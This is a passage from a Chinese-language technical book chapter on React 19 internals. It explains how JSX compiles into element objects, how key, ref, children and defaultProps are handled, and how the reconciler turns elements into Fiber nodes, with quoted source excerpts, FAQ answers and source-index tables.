createFiberFromElement(ReactFiber.js)会从元素读出 element.type、element.key、element.props,创建一个对应 tag 的 Fiber,并把 element.props.ref 经 coerceRef 落到 workInProgress.ref。至此,"纯数据描述"正式变成"可工作的内部单元",进入 begin/commit 阶段。具体 Fiber 字段与生命周期,第 3 章展开。
2.12 边界场景与坑(实战向)
把本章所有"容易出错/容易误解"的点集中起来,每条都配源码依据。
2.12.1 props.key 永远读不到真实 key
原因:key 被提拔到元素顶层,props 上没有 key(即便有,也是 2.5.6 装的告警 getter)。想在组件内用 key,必须显式作为独立 prop 传入(如 <Item id={k} />),而非依赖 props.key。
2.12.2 单个 child 不是数组
<A><B/></A> 的 props.children 是单个元素;<A><B/><C/></A> 才是数组。写 props.children.map(...) 前务必先 React.Children.toArray(props.children) 或 React.Children.map,否则单 child 会抛 children.map is not a function。
2.12.3 嵌套数组会被当成"单个 child"
<A>{[<B/>, <C/>]}</A> 中 props.children 是"一个数组",对 A 而言是单个 child。这会绕过"列表 key"告警,且协调时该数组会被当作一个 Fragment 处理(见 ReactChildFiber.js:1923 的 isArray(newChild) 分支,会被包成 Fragment Fiber)。推荐直接写 <A><B/><C/></A> 让 createElement 正确收集为 props.children 数组,或使用 React.Children.toArray 规范化。
2.12.4 React.Children.map 会改变 key
见 2.8.5。需要保留语义 key 时,谨慎使用 map,或接受其规范化后的复合 key。
2.12.5 cloneElement 的 ref 与浅合并
见 2.9.3、2.9.4。19 已通过"ref 即 props"大幅缓解 ref 丢失,但浅合并会把对象型 props(如 style)整体替换而非合并。
2.12.6 defaultProps 对函数组件不可靠
见 2.10.2。即便 19.3.1 的 createElement legacy 循环仍会合并,函数组件不应依赖它,改用解构默认值。
2.12.7 isValidElement 是跨包安全的
因为用全局 Symbol 比较,多份 React 拷贝下仍能正确识别"自己人"的元素(2.4 节)。但要注意:REACT_LEGACY_ELEMENT_TYPE(react.element)会被识别为"老版本元素"并报错,提示多份 React 拷贝问题。
2.12.8 key 必须可字符串化
checkKeyStringCoercion(CheckStringCoercion.js:91-102)会在开发期拦截无法被 '' + key 安全转成字符串的 key(如 Symbol、某些 Temporal 对象),报友好错误。所以别用 Symbol 当 key(除非是内部的 REACT_OPTIMISTIC_KEY,那由 React 自己用)。
2.12.9 元素是冻结的(开发期)
Object.freeze(element) 与 Object.freeze(element.props)(ReactJSXElement.js:276-279)使元素不可变。任何"拿到元素后改它的 props"的代码在开发期会抛错。正确做法是重新 jsx/createElement/cloneElement。
2.12.10 Fragment 的 key
<></>(空 Fragment)无法带 key,因为它没有语法位置。需要 key 时写 <React.Fragment key={k}>...</React.Fragment>。空 Fragment 顶层无 key 且无 ref 时,协调器会把它"当作数组"处理(ReactChildFiber.js:1872-1882 的 isUnkeyedUnrefedTopLevelFragment),这是 19 对"顶层 <>{...}</> 与 <>...</> 歧义"的统一处理。
2.13 性能影响:元素创建的成本与优化
2.13.1 元素创建是"热路径上的纯对象分配"
每次渲染,组件函数体每返回一个 JSX,背后就是一次 jsx/createElement → ReactElement 的对象分配。大型应用一次渲染可能创建上万个元素对象。因此 React 在这条路径上做了大量微优化:
- 跳过
delete(2.5.3):用"新建 + 拷贝"替代删除保留字段,避免 V8 对象 dictionary-mode 退化。 jsx复用config(ReactJSXElement.js:323-333):编译器保证传入新对象时,无 key spread 就直接复用,省一次拷贝。REACT_ELEMENT_TYPE用Symbol.for:比较是===引用比较,O(1) 无字符串计算。- 开发期
ownerStackTraceLimit = 10(ReactJSXElement.js:67)+recentlyCreatedOwnerStacks计数器:只有前若干次创建元素才抓真实栈,其余复用unknownOwnerDebugStack,避免每次Error()都构造深栈(2.5.7)。 - 静态 children 冻结(
ReactJSXElement.js:497-499):jsxDEV对静态 children 数组Object.freeze,使协调器可安全地认为"这数组不会被外部改动"。
2.13.2 key 字符串化与转义的成本
' ' + config.key(ReactJSXElement.js:318 等)以及 React.Children 里的 escape/escapeUserProvidedKey(ReactChildren.js:41-65)都涉及字符串拼接与正则替换。在"海量列表项"场景下,这些字符串操作是可见开销。优化方向:
- 给列表项用短而稳定的 key(如数据库 id),避免超长字符串 key。
- 不要在 render 中动态生成复杂对象当 key——
checkKeyStringCoercion会在开发期额外校验,且拼接长 key 拖慢协调。
2.13.3 Object.freeze 的成本与收益
开发期冻结元素及其 props(ReactJSXElement.js:276-279)有成本(冻结本身是 O(n) 字段操作),但换来"不可变性保证"——保证了后续协调阶段可以安全地复用元素对象引用、用 === 快速判断 props 是否变化(bailout 优化)。生产环境不冻结(走 else 分支直接返回对象),把性能让给运行时,把安全性留给开发期。
2.13.4 React.Children 的递归成本
mapIntoArray 是递归遍历 + 克隆 + key 重分配,复杂度约为 O(叶子节点数)。对"超深嵌套 children"或"超大列表",React.Children.map 的开销不可忽略。实践建议:
- 不需要改结构就别用
map;count/forEach更轻(但仍递归)。 - 超大列表的"扁平化"尽量在数据层做(先把数据拍平),而不是在 children 层用
React.Children.toArray。
2.13.5 defaultProps 的 for-in 成本
createElement 的 legacy defaultProps 循环(ReactJSXElement.js:703-711)对每个创建的元素都做一次 for...in,且可能 assign 出一个新 props。对函数组件,这正是 React 19 推荐解构默认值(零成本)替代它的原因。类组件的 resolveClassComponentProps(ReactFiberClassComponent.js:1204-1217)同样有 for-in,但因类组件通常数量远少于函数组件且需要支持 legacy API,保留可接受。
2.14 用法与最佳实践(结合源码"为什么这样才对")
- 永远手写稳定的
key:因为协调器reconcileChildrenArray(ReactChildFiber.js:1177)完全靠element.key复用 Fiber;无 key 退化成索引匹配,列表重排会状态错乱。 key直接写在 JSX 上,不要 spread:<Item key={id} {...rest} />,避免jsxDEV的 key-spread 告警(ReactJSXElement.js:513-537)与优先级歧义。- 不要在组件内读
props.key:它读不到,且开发期告警(2.5.6)。需要 key 信息时,把它作为独立 prop(如id)传入。 - 函数组件用解构默认值替代
defaultProps:零成本、语义清晰,且是 React 19 官方路线(2.10.2)。 - 函数组件直接用
ref参数(React 19):function Input({ref}) {...},不再必须forwardRef(2.10.1)。 - 不要修改已创建的元素:元素开发期被冻结;要改就重新
jsx/cloneElement。 - 处理 children 用
React.Children而非假设数组:toArray/map/forEach/count统一了"单个/数组/嵌套/可迭代"的差异(2.8 节)。注意map会重分配 key。 cloneElement改 props 是浅合并:合并对象型 prop(如style)需自行展开。- 判断"是不是元素"用
isValidElement,别用instanceof或检查type字段(2.4、2.7)。 - Fragment 需要 key/ref 时写全
<React.Fragment key=...>,空<></>无法携带。
正反例:
// ❌ 反例:key 写在对象里 spread,触发告警且优先级混乱
const props = {key: id, name};
return <Item {...props} />;
// ✅ 正例
return <Item key={id} name={name} />;
// ❌ 反例:函数组件用 defaultProps
function Card(props) {}
Card.defaultProps = { title: 'N/A' };
// ✅ 正例
function Card({title = 'N/A'}) { return <h2>{title}</h2>; }
// ❌ 反例:假设 children 一定是数组
function List({children}) { return <ul>{children.map(c => <li>{c}</li>)}</ul>; }
// ✅ 正例
function List({children}) {
return <ul>{React.Children.map(children, c => <li>{c}</li>)}</ul>;
}
2.15 实战端到端追踪:从一行 JSX 到 Fiber 的完整旅程
为了把前面所有零散的知识点串成一条线,本节用一个具体、可运行、对照源码的例子,完整追踪"一行 JSX 如何最终变成一个能被复用的 Fiber 节点"。这是把"元素是什么"和"下一章 Fiber 是什么"焊死的关键一跃。
2.15.1 起点代码
function App() {
const items = ['a', 'b'];
return (
<ul className="list">
{items.map(it => (
<li key={it}>{it}</li>
))}
</ul>
);
}
假设 items = ['a', 'b']。我们追踪 App 的一次渲染。
2.15.2 第 1 步:编译器把 JSX 转译成 jsx 调用
在 automatic runtime(假设开发期)下,上述 return 大致被转译为:
import {jsxs, jsx} from 'react/jsx-runtime';
import {Fragment} from 'react/jsx-runtime';
return jsxs('ul', {
className: 'list',
children: items.map(it =>
// 列表项用 jsx(动态单 children)
jsx('li', {children: it}, it) // 第三个参数 it 就是 key
),
});
注意三处与本章强相关的细节:
- 外层
<ul>用jsxs(静态多 children),内层<li>用jsx(动态)。 <li key={it}>的key被编译器提升为jsx的第三参it(maybeKey),而不是塞进 config——这正是jsxProd/jsxDEVImpl里maybeKey的来源(ReactJSXElement.js:300-309)。children已经作为 config 字段就位,jsx路径不会再做createElement式的"多参数收集"。
2.15.3 第 2 步:jsx 工厂生产元素对象
以 <li key={it}>{it}</li>(此时 it === 'a')为例,jsx('li', {children:'a'}, 'a') 进入 jsxDEV(开发期)→ jsxDEVImpl:
maybeKey = 'a'→key = '' + 'a' = 'a'(ReactJSXElement.js:547-555)。checkKeyStringCoercion在开发期确认'a'可安全字符串化。config无keyspread →props = config(直接复用,性能优化,ReactJSXElement.js:570-580)。key为真 → 在props上装defineKeyPropWarningGetter告警访问器(:594-600)。- 调用
ReactElement('li', 'a', {children:'a'}, getOwner(), debugStack, debugTask)。
得到的元素 eLiA:
{
$$typeof: Symbol(react.transitional.element), // 防伪标签(2.4)
type: 'li', // 宿主组件
key: 'a', // 顶层 key,非 props
props: {children: 'a'}, // children 在 props 里
ref: null, // 19 中来自 props.ref,此处无
_owner: <App 的 owner>, // 开发期:谁渲染的我
_store: {validated: 0}, // 开发期
// ... 其他 debug 字段
}
外层 jsxs('ul', {...}) 同理得到 eUl,其 props.children 是 [eLiA, eLiB] 这样一个元素数组(每个元素都带自己的 key)。
2.15.4 第 3 步:协调器消费 eUl
当 App 的 Fiber 进入 begin 阶段、App() 返回 eUl 后,Reconciler 调用 reconcileChildren → reconcileChildFibersImpl(ReactChildFiber.js:1854):
// newChild === eUl,typeof 为 object,$$typeof === REACT_ELEMENT_TYPE
switch (newChild.$$typeof) {
case REACT_ELEMENT_TYPE:
return placeSingleChild(reconcileSingleElement(returnFiber, currentFirstChild, eUl, lanes));
}
reconcileSingleElement(ReactChildFiber.js:1703):
- 读
key = eUl.key(此处eUl.key === null,因为没写key)。 - 若已有旧 Fiber 且
child.key === key && child.elementType === 'ul'→useFiber复用;否则新建。 - 因为是
<ul>(宿主组件),createFiberFromElement(eUl, mode, lanes)创建fUl,coerceRef从eUl.props.ref(无)取 ref,fUl.return = returnFiber。
接着递归协调 fUl 的 children,即 eUl.props.children = [eLiA, eLiB],进入 reconcileChildrenArray(ReactChildFiber.js:1177):
- 对
eLiA:updateSlot读到element.key === 'a',在旧 Fiber 表里按 key'a'查找 → 命中则useFiber复用fLiA并换上新pendingProps = {children:'a'};否则新建fLiA。 - 对
eLiB:同理按key === 'b'复用/新建fLiB。 - 因为两者 key 稳定,即便列表重排(如变成
['b','a']),Reconciler 仍能按 key 把 DOM 节点移动到正确位置,而不是销毁重建——这就是 2.11/2.12.1 反复强调"手写稳定 key"的底层回报。
2.15.5 第 4 步:从元素到真实 DOM(commit,点到为止)
fUl、fLiA、fLiB 在 commit 阶段由渲染器(React DOM)创建为真实 <ul>/<li> 节点并插入容器。注意:元素对象 eUl/eLiA/eLiB 在协调完成后即被丢弃(它们是一次性的纯数据),而 Fiber fUl/fLiA/fLiB 会跨渲染持续存在,成为下一次更新时"复用判断"的依据。
2.15.6 一张时序图
sequenceDiagram
participant Babel as 编译器
participant JSX as jsx/jsxDEV<br/>(ReactJSXElement.js)
participant RE as ReactElement 工厂
participant Recon as Reconciler<br/>(ReactChildFiber)
participant Fiber as Fiber 节点
participant DOM as 渲染器(commit)
App()-->>Babel: 返回 JSX
Babel->>JSX: jsx('li',{children:'a'},'a') 等
JSX->>RE: 传入 (type,key,props,owner)
RE-->>JSX: 元素对象($$typeof/type/key/props)
JSX-->>App(): 返回 eUl(props.children=[eLiA,eLiB])
App()-->>Recon: 把 eUl 作为子节点
Recon->>Recon: reconcileSingleElement(eUl)
Recon->>Fiber: createFiberFromElement(eUl)
Recon->>Recon: reconcileChildrenArray([eLiA,eLiB])
Recon->>Fiber: 按 key 复用/新建 fLiA/fLiB
Fiber-->>DOM: commit 阶段创建真实节点
Note over RE,Fiber: 元素=一次性数据;Fiber=跨渲染复用单元
2.15.7 本例对本章知识点的回扣
- 不可变纯数据:
eLiA/eUl在协调后即弃,无任何 DOM 引用(2.3)。 $$typeof防伪:reconcileChildFibersImpl靠它分派,杜绝伪元素(2.4)。key提拔 + 字符串化:it从第三参变顶层key='a'(2.5.3、2.6.2)。children在props上:props.children是数组(2.5.4)。ref即props.ref:coerceRef读element.props.ref(2.10.1)。React.Children缺席时靠reconcileChildrenArray处理数组:它自己会做 key 归一与复用(2.8、2.11.3)。defaultProps无关:函数组件App没用defaultProps,走解构默认值路线(2.10.2)。
这一追踪也自然引出下一章的主题:Fiber 节点的内部结构、链表如何串起整棵树、以及 useFiber/alternate 双缓冲如何实现"可中断、可复用"的并发渲染。
| 文件 | 函数 / 符号 | 行号(约) | 作用 |
|---|---|---|---|
packages/react/src/jsx/ReactJSXElement.js | ReactElement | 170-283 | 元素的工厂函数,生产不可变元素对象 |
| 同上 | $$typeof / REACT_ELEMENT_TYPE 写入 | 190 / 229 | 防伪标签(见 2.4) |
| 同上 | ref 处理(prod 顶层 / dev 访问器) | 175-238 | ref 即 props.ref 的 19 语义 |
| 同上 | _store/_debugInfo/_debugStack/_debugTask | 245-280 | 开发期调试字段 + 冻结 |
| 同上 | createElement | 610-746 | 经典 JSX 工厂,config 拆分 + children 归一化 |
| 同上 | jsxProd | 291-348 | 自动转换生产路径核心 |
| 同上 | jsxDEV / jsxDEVImpl | 441-604 | 开发期工厂,含 key spread 告警等 |
| 同上 | cloneElement | 770-854 | 克隆元素,覆盖 props/key/ref |
| 同上 | cloneAndReplaceKey | 748-764 | 只换 key 的轻量克隆(React.Children 用) |
| 同上 | isValidElement | 891-897 | 跨包安全的元素判断(Symbol ===) |
| 同上 | validateChildKeys | 864-882 | 标记静态位置子元素已校验,规避 key 告警 |
| 同上 | hasValidKey / hasValidRef | 109-119 / 97-107 | 预留/保留字段判断 |
| 同上 | defineKeyPropWarningGetter | 121-141 | props.key 访问告警陷阱 |
| 同上 | elementRefGetterWithDeprecationWarning | 143-160 | element.ref 废弃告警 |
| 同上 | getOwner | 50-59 | 取当前组件 owner(dev) |
packages/react/src/jsx/ReactJSX.js | jsx/jsxs/jsxDEV 分流 | 17-28 | 根据 __DEV__ 选择实现 |
packages/react/src/children/ReactChildren.js | mapIntoArray | 155-349 | 所有 Children API 的递归引擎 + key 重分配 |
| 同上 | getElementKey / escape / escapeUserProvidedKey | 74-93 / 41-53 / 62-65 | key 提取与转义 |
| 同上 | mapChildren / countChildren / forEachChildren / toArray / onlyChild | 366-463 | 公开 API |
packages/shared/ReactSymbols.js | REACT_ELEMENT_TYPE / REACT_LEGACY_ELEMENT_TYPE | 15-18 | 防伪 + 版本隔离 Symbol |
| 同上 | REACT_OPTIMISTIC_KEY | 69-71 | 乐观 key 符号(19 新) |
packages/shared/CheckStringCoercion.js | checkKeyStringCoercion | 91-102 | key 字符串化安全校验 |
packages/react/index.js | 导出 createElement/cloneElement/isValidElement/Children 等 | 27-77 | React 公开 API 出口 |
packages/react/src/ReactBaseClasses.js | Component / PureComponent | 19-146 | 类组件基类(实例来源) |
packages/react-reconciler/src/ReactChildFiber.js | reconcileChildFibersImpl | 1854+ | 元素 → Fiber 的协调入口 |
| 同上 | reconcileSingleElement | 1703-1806 | 单元素协调(读 key/type/props.ref) |
| 同上 | reconcileChildrenArray | 1177-1369 | 数组协调(key 决定复用) |
| 同上 | createChild / updateElement / coerceRef | 710-840 / 580-636 / 291-299 | 创建 Fiber / 更新 / ref 提取 |
| 同上 | throwOnInvalidObjectType | 301-335 | 非元素对象报错(含多份 React 检测) |
| 同上 | warnForMissingKey | 152-228 | 缺少 key 的告警(依赖 _store.validated) |
packages/react-reconciler/src/ReactFiberClassComponent.js | resolveClassComponentProps | 1187-1220 | 类组件权威 defaultProps 解析 |
packages/react-reconciler/src/ReactFiberBeginWork.js | updateFunctionComponent | 1453-1562 | 函数组件渲染(信任元素 props) |
| 同上 | mountIndeterminateComponent(propsWithoutRef 段) | 420-477 | 初判函数/类组件,剥离 ref |
packages/react/jsx-runtime.js | 导出 jsx/jsxs/Fragment | 9 | 自动转换运行时入口 |
2.16 自测 FAQ(高频疑问精答)
Q1:React.createElement 会创建 DOM 吗?
不会。它只返回一个普通对象(元素)。真实 DOM 在很久之后的 commit 阶段由渲染器创建(ReactDOM/ReactNative 等)。createElement 是纯数据工厂,零副作用。
Q2:$$typeof 到底防什么?
防"跨信任边界(网络 JSON、localStorage、URL)注入伪装元素"。JSON 无法表示 Symbol,所以攻击者无法伪造出 $$typeof === REACT_ELEMENT_TYPE(Symbol)的对象,从而无法骗 React 去渲染任意组件/传入恶意 props。
Q3:为什么 props.key 是 undefined?
因为 key 被从 config/props 中提拔成了元素对象的顶层字段(ReactJSXElement.js:656-665),不在 props 上。开发期访问 props.key 还会触发告警 getter。
Q4:cloneElement(<X ref={r}/>, {id:1}) 在 React 19 会丢 ref 吗?
不会。React 19 中 ref 是普通 prop,assign({}, element.props) 会把它带入新 props。这是 19 相对 18 修复的经典坑。但该克隆是浅合并,对象型 prop 会被整体替换。
Q5:函数组件还能用 defaultProps 吗?
源码层:createElement 的 legacy 循环仍会对所有 type 合并 defaultProps;但 React 19 官方已不推荐函数组件使用,协调器对函数组件也不再做权威 defaultProps 解析。推荐改用具零成本的"解构默认值"。类组件仍支持。
Q6:React.Children.map 后 key 为什么变成怪异字符串?
mapIntoArray 会为每个叶子调用 cloneAndReplaceKey,用"带层级前缀 + 原 key/索引"的复合 key 替换原 key(如 .$.0:1/foo),以保证扁平化后全局唯一。这是预期行为,不是 bug。
Q7:<A>{[<B/>,<C/>]}</A> 和 <A><B/><C/></A> 一样吗?
对 A 的 props.children 形态而言,两者最终结果都是"一个包含两个元素的数组"——因为 createElement 会把多参数 children 收成数组。但前者是"你手动包了一层数组",协调时该数组会被当作单个 child(进一步被包成 Fragment);后者是标准多 child。推荐后者。
Q8:怎么判断一个变量是不是 React 元素?
用 React.isValidElement(x),它做 x.$$typeof === REACT_ELEMENT_TYPE 的严格比较。不要用 instanceof(元素不是 class 实例),也不要只检查有没有 type/props 字段(不够防伪)。
Q9:React 19 的 ref 到底是不是 props 了?
是。ref 现在就是 props.ref("ref 成为普通 prop")。元素工厂以 props.ref 为真相,coerceRef 也读 element.props.ref。forwardRef 在新版仍可用但已非必需;直接 function Input({ref}){} 即可。
Q10:key 一定要是字符串吗?能用数字/Symbol 吗?
key 会被强制字符串化('' + key),所以数字 key 会被转成对应字符串。但不要用 Symbol(除 React 内部的 REACT_OPTIMISTIC_KEY)当 key——开发期的 checkKeyStringCoercion 会拦截无法安全转字符串的 key 并报错。
Q11:为什么 createElement 不警告 key spread,而 jsxDEV 警告?
历史兼容性:createElement 长期允许 <div {...props}/>;jsx 是编译器产物更应严格,所以 jsxDEVImpl 对 key 被 spread 进 props 报 console.error(ReactJSXElement.js:513-537)。
Q12:元素是 mutable 还是 immutable?
开发期被 Object.freeze 冻结(元素及其 props),是不可变的;生产期不冻结(为了性能)但仍应视为逻辑不可变——任何"改已有元素"的做法都应改为重新创建。
2.17 ReactElement 构造函数逐行拆解:一个元素到底长什么样
(注:React 19.3.1 中 createElement / jsx / cloneElement / isValidElement 已全部合并到 packages/react/src/jsx/ReactJSXElement.js,不再有独立的 ReactElement.js。下面引用的行号均以此文件为准。)
前面章节反复强调"元素是不可变的纯数据快照"。这句话的源码依据就在这个构造函数里:
packages/react/src/jsx/ReactJSXElement.js:170
function ReactElement(type, key, props, owner, debugStack, debugTask) {
// Ignore whatever was passed as the ref argument and treat `props.ref` as
// the source of truth. The only thing we use this for is `element.ref`,
// which will log a deprecation warning on access. In the next release, we
// can remove `element.ref` as well as the `ref` argument.
const refProp = props.ref;
// An undefined `element.ref` is coerced to `null` for
// backwards compatibility.
const ref = refProp !== undefined ? refProp : null;
第一段就揭示了 React 19 的 ref 变革:props.ref 才是真相来源,构造函数的 ref 参数只用于向后兼容 element.ref(且访问它会打废弃告警)。这就是第 13 章"ref 作为普通 prop"在元素层的落点——ref 已经不在元素的保留字段里,它就是 props 的一个普通属性。
1. DEV 与生产的两种元素形状
let element;
if (__DEV__) {
// In dev, make `ref` a non-enumerable property with a warning. It's non-
// enumerable so that test matchers and serializers don't access it and
// trigger the warning.
element = {
$$typeof: REACT_ELEMENT_TYPE,
type,
key,
props,
// Record the component responsible for creating this element.
_owner: owner,
};
if (ref !== null) {
Object.defineProperty(element, 'ref', {
enumerable: false,
get: elementRefGetterWithDeprecationWarning,
});
} else {
Object.defineProperty(element, 'ref', {
enumerable: false,
value: null,
});
}
} else {
// In prod, `ref` is a regular property and _owner doesn't exist.
element = {
$$typeof: REACT_ELEMENT_TYPE,
type,
key,
ref,
props,
};
}
对比两种形状:
| 字段 | DEV | 生产 | 说明 |
|---|---|---|---|
$$typeof | ✓ | ✓ | 身份标记,防 JSON 注入 |
type | ✓ | ✓ | 字符串(宿主标签)或函数/对象(组件) |
key | ✓ | ✓ | 协调复用的身份 |
props | ✓ | ✓ | 含 children,DEV 下被冻结 |
ref | 非枚举 + 访问告警 | 普通属性 | React 19 起真相在 props.ref |
_owner | ✓ | ✗ | 谁创建了这个元素(支撑报错定位) |
_store / _debugInfo / _debugStack / _debugTask | ✓ | ✗ | DEV 调试信息 |
生产环境元素只有 5 个字段,这是一个重要的性能事实:元素对象非常轻,创建成本极低。所谓"JSX 很贵"的说法在元素层面并不成立——真正的成本在后面的协调与 commit。
2. DEV 期的调试字段与冻结
if (__DEV__) {
// The validation flag is currently mutative. We put it on
// an external backing store so that we can freeze the whole object.
element._store = {};
Object.defineProperty(element._store, 'validated', {
configurable: false,
enumerable: false,
writable: true,
value: 0,
});
// debugInfo contains Server Component debug information.
Object.defineProperty(element, '_debugInfo', { ... value: null });
Object.defineProperty(element, '_debugStack', { ... value: debugStack });
Object.defineProperty(element, '_debugTask', { ... value: debugTask });
if (Object.freeze) {
Object.freeze(element.props);
Object.freeze(element);
}
}
三点值得注意:
_store.validated为什么要外挂:因为元素整体要被Object.freeze,而校验标记是可变的。源码注释原文说明了这个取舍("so that we can freeze the whole object"),并注明"等 WeakMap 普及后可替换"。Object.freeze(element.props)与Object.freeze(element)只在 DEV:这是"元素不可变"在开发期能被强制执行的原因。生产环境不冻结是为了性能(冻结会阻碍引擎优化,且冻结本身有开销)。_debugStack/_debugTask是 owner 栈的载体:它们让 React 能在 DEV 下回答"这个元素是谁写的",也就是第 14B 章讲的 owner 栈。
由此得到一个非常实用的排查经验:在开发环境里 element.props.foo = 1 会静默失败(严格模式下抛 TypeError),而生产环境会成功但毫无效果(因为协调器读的是旧引用)。如果你发现"改了 props 但没生效",先确认是不是在 DEV 下撞上了冻结。
3. element.ref 的访问告警
elementRefGetterWithDeprecationWarning(ReactJSXElement.js:143)是一个 getter,任何读取 element.ref 的行为都会触发废弃告警。它做成非枚举(enumerable: false)是为了让 Jest 这类序列化器不会无意中读到它:
源码注释原文:
// Don't warn on access if a ref is not given. This reduces false
// positives in cases where a test serializer uses
// getOwnPropertyDescriptors to compare objects, like Jest does, which is
// a problem because it bypasses non-enumerability.
这是一处非常典型的"为了不打扰测试而做的工程妥协",也解释了为什么你在某些测试里会看到莫名的 ref 告警。
2.18 createElement 逐行拆解:config 是怎么被拆开的
packages/react/src/jsx/ReactJSXElement.js:610
export function createElement(type, config, children) {
if (__DEV__) {
// We don't warn for invalid element type here because with owner stacks,
// we error in the renderer. ...
for (let i = 2; i < arguments.length; i++) {
validateChildKeys(arguments[i]);
}
// Unlike the jsx() runtime, createElement() doesn't warn about key spread.
}
let propName;
// Reserved names are extracted
const props = {};
let key = null;
if (config != null) {
1. 过时的 JSX transform 检测
if (__DEV__) {
if (
!didWarnAboutOldJSXRuntime &&
'__self' in config &&
// Do not assume this is the result of an oudated JSX transform if key
// is present, because the modern JSX transform sometimes outputs
// createElement to preserve precedence between a static key and a
// spread key. To avoid false positive warnings, we never warn if
// there's a key.
!('key' in config)
) {
didWarnAboutOldJSXRuntime = true;
console.warn(
'Your app (or one of its dependencies) is using an outdated JSX ' +
'transform. ...'
);
}
}
这段解释了那条常见的黄色警告的触发条件:config 里有 __self 但没有 key。为什么有 key 就不报?因为现代 transform 在处理"静态 key 与展开 key 的优先级"时,有时会退化成调用 createElement。这是避免误报的精确判据。
2. key 提取与乐观 key
if (hasValidKey(config)) {
if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {
key = REACT_OPTIMISTIC_KEY;
} else {
if (__DEV__) {
checkKeyStringCoercion(config.key);
}
key = '' + config.key;
}
}
两个关键事实:
- key 会被强制转成字符串(
'' + config.key)。所以key={1}与key="1"等价,而key={{}}会变成"[object Object]"——这正是"所有元素 key 都撞在一起"这类诡异 bug 的来源。DEV 下checkKeyStringCoercion会对可疑类型告警。 REACT_OPTIMISTIC_KEY是一个特殊哨兵(enableOptimisticKey开关下)。它用于<Activity>/乐观更新场景,让协调器知道这个 key 是"乐观分配"的,不参与常规复用判定。
3. 保留属性的过滤
// Remaining properties are added to a new props object
for (propName in config) {
if (
hasOwnProperty.call(config, propName) &&
// Skip over reserved prop names
propName !== 'key' &&
// Even though we don't use these anymore in the runtime, we don't want
// them to appear as props, so in createElement we filter them out.
// We don't have to do this in the jsx() runtime because the jsx()
// transform never passed these as props; it used separate arguments.
propName !== '__self' &&
propName !== '__source'
) {
props[propName] = config[propName];
}
}
注意最后那条注释:jsx() 运行时不需要过滤 __self / __source,因为它们从来不是作为 props 传入的,而是作为独立参数。这正是新旧 transform 的差异之一:
| 维度 | createElement(classic runtime) | jsx / jsxs(automatic runtime) |
|---|---|---|
| children 传法 | 可变参数(第 3 个起) | 放在 config.children 里 |
| key 传法 | config.key | 独立的 maybeKey 参数 |
__self / __source | 混在 config 里,需过滤 | 独立参数,不进 props |
| 是否过滤保留属性 | 需要 | 不需要(本来就不混进来) |
| 静态 children 优化 | 无 | jsxs(static children)走更快路径 |
4. children 归一化
// Children can be more than one argument, and those are transferred onto
// the newly allocated props object.
const childrenLength = arguments.length - 2;
if (childrenLength === 1) {
props.children = children;
} else if (childrenLength > 1) {
const childArray = Array(childrenLength);
for (let i = 0; i < childrenLength; i++) {
childArray[i] = arguments[i + 2];
}
if (__DEV__) {
if (Object.freeze) {
Object.freeze(childArray);
}
}
- 只有一个 children → 直接挂在
props.children上(不是数组!)。这就是为什么props.children的类型是"单元素 或 数组"——也是React.Children必须存在的原因。 - 多个 children → 建数组,DEV 下冻结。
- 零个 children →
props.children根本不存在(undefined)。
由此得到一条实战规则:永远不要假设 props.children 是数组。要么用 React.Children.map(它内部统一处理),要么用 React.Children.toArray 归一化后再用数组方法。
2.19 三种 JSX 运行时:编译产物对照
同一个 JSX 节点 <div className="x">hi</div> 在不同 transform 下的产物:
classic runtime(React.createElement):
React.createElement("div", { className: "x" }, "hi");
automatic runtime,生产(jsxProd,ReactJSXElement.js:291):
import { jsx as _jsx } from "react/jsx-runtime";
_jsx("div", { className: "x", children: "hi" });
automatic runtime,开发(jsxDEV,:441):
import { jsxDEV as _jsxDEV } from "react/jsx-dev-runtime";
_jsxDEV("div", { className: "x", children: "hi" }, void 0, false, {
fileName: _jsxFileName, lineNumber: 12
}, this);
jsxDEV 多出的参数(isStaticChildren、source、self)就是 DEV 报错能精确指向"哪个文件哪一行"的原因。而 jsxProd 的签名在同一个文件里被分成了三个(jsxProd 291、jsxProdSignatureRunningInDevWithDynamicChildren 362、jsxProdSignatureRunningInDevWithStaticChildren 398),用于在 DEV 环境下以生产签名运行时仍能收集调试信息——这是 React 仓库自己测试生产行为时用的技巧。
为什么 React 19 推荐 automatic runtime
- 不需要在文件里
import React,减少 bundle 与心智负担。 - children 作为普通属性传入,避免了可变参数的
arguments遍历(更快)。 - key 作为独立参数,无需从 config 里提取、也无需过滤保留属性。
- 静态 children 可走
jsxs快路径。
2.20 特殊 type 一览:$$typeof 家族全表
$$typeof 不只是 REACT_ELEMENT_TYPE。packages/shared/ReactSymbols.js 里定义了一整套标记,协调器靠它们分派:
| 符号 | 用途 |
|---|---|
REACT_ELEMENT_TYPE | 普通 React 元素 |
REACT_LEGACY_ELEMENT_TYPE | 旧版本 React 创建的元素(跨版本兼容) |
REACT_FRAGMENT_TYPE | <> / <React.Fragment> |
REACT_PORTAL_TYPE | createPortal 的产物 |
REACT_LAZY_TYPE | lazy() 的产物 |
REACT_MEMO_TYPE | memo() 的产物 |
REACT_FORWARD_REF_TYPE | forwardRef() 的产物(React 19 后仅兼容保留) |
REACT_PROFILER_TYPE | <Profiler> |
REACT_SUSPENSE_TYPE | <Suspense> |
REACT_SUSPENSE_LIST_TYPE | <SuspenseList> |
REACT_ACTIVITY_TYPE | <Activity> |
REACT_VIEW_TRANSITION_TYPE | <ViewTransition> |
REACT_CONTEXT_TYPE / REACT_CONSUMER_TYPE | Context 对象与其消费者 |
REACT_STRICT_MODE_TYPE | <StrictMode> |
REACT_TRACING_MARKER_TYPE | <TracingMarker>(内部追踪) |
REACT_SCOPE_TYPE | 实验性的 Scope |
REACT_RECOVERABLE_TYPE / REACT_LEGACY_HIDDEN_TYPE | 历史遗留 / 可恢复子树 |
协调器拿到一个元素后的第一件事就是读 $$typeof 分派(第 4 章 reconcileChildFibersImpl),这张表就是那次分派的完整输入域。其中最容易被误解的是 REACT_MEMO_TYPE 与 REACT_LAZY_TYPE:它们不是元素,而是"包裹器",需要 beginWork 先解包再处理。
2.21 本章源码索引表
所有路径相对仓库根 react-19.3.1,行号以 19.3.1 为准。
元素的生产(packages/react)
| 主题 | 文件 | 位置 |
|---|---|---|
| 元素工厂(唯一构造点) | packages/react/src/jsx/ReactJSXElement.js | ReactElement(:170) |
| 保留属性表 | 同上 | RESERVED_PROPS(:109 附近,配合 hasValidRef :97 / hasValidKey :109) |
jsx 生产版 | 同上 | jsxProd(:291) |
jsx 签名版(dynamic / static children) | 同上 | :362 / :398 |
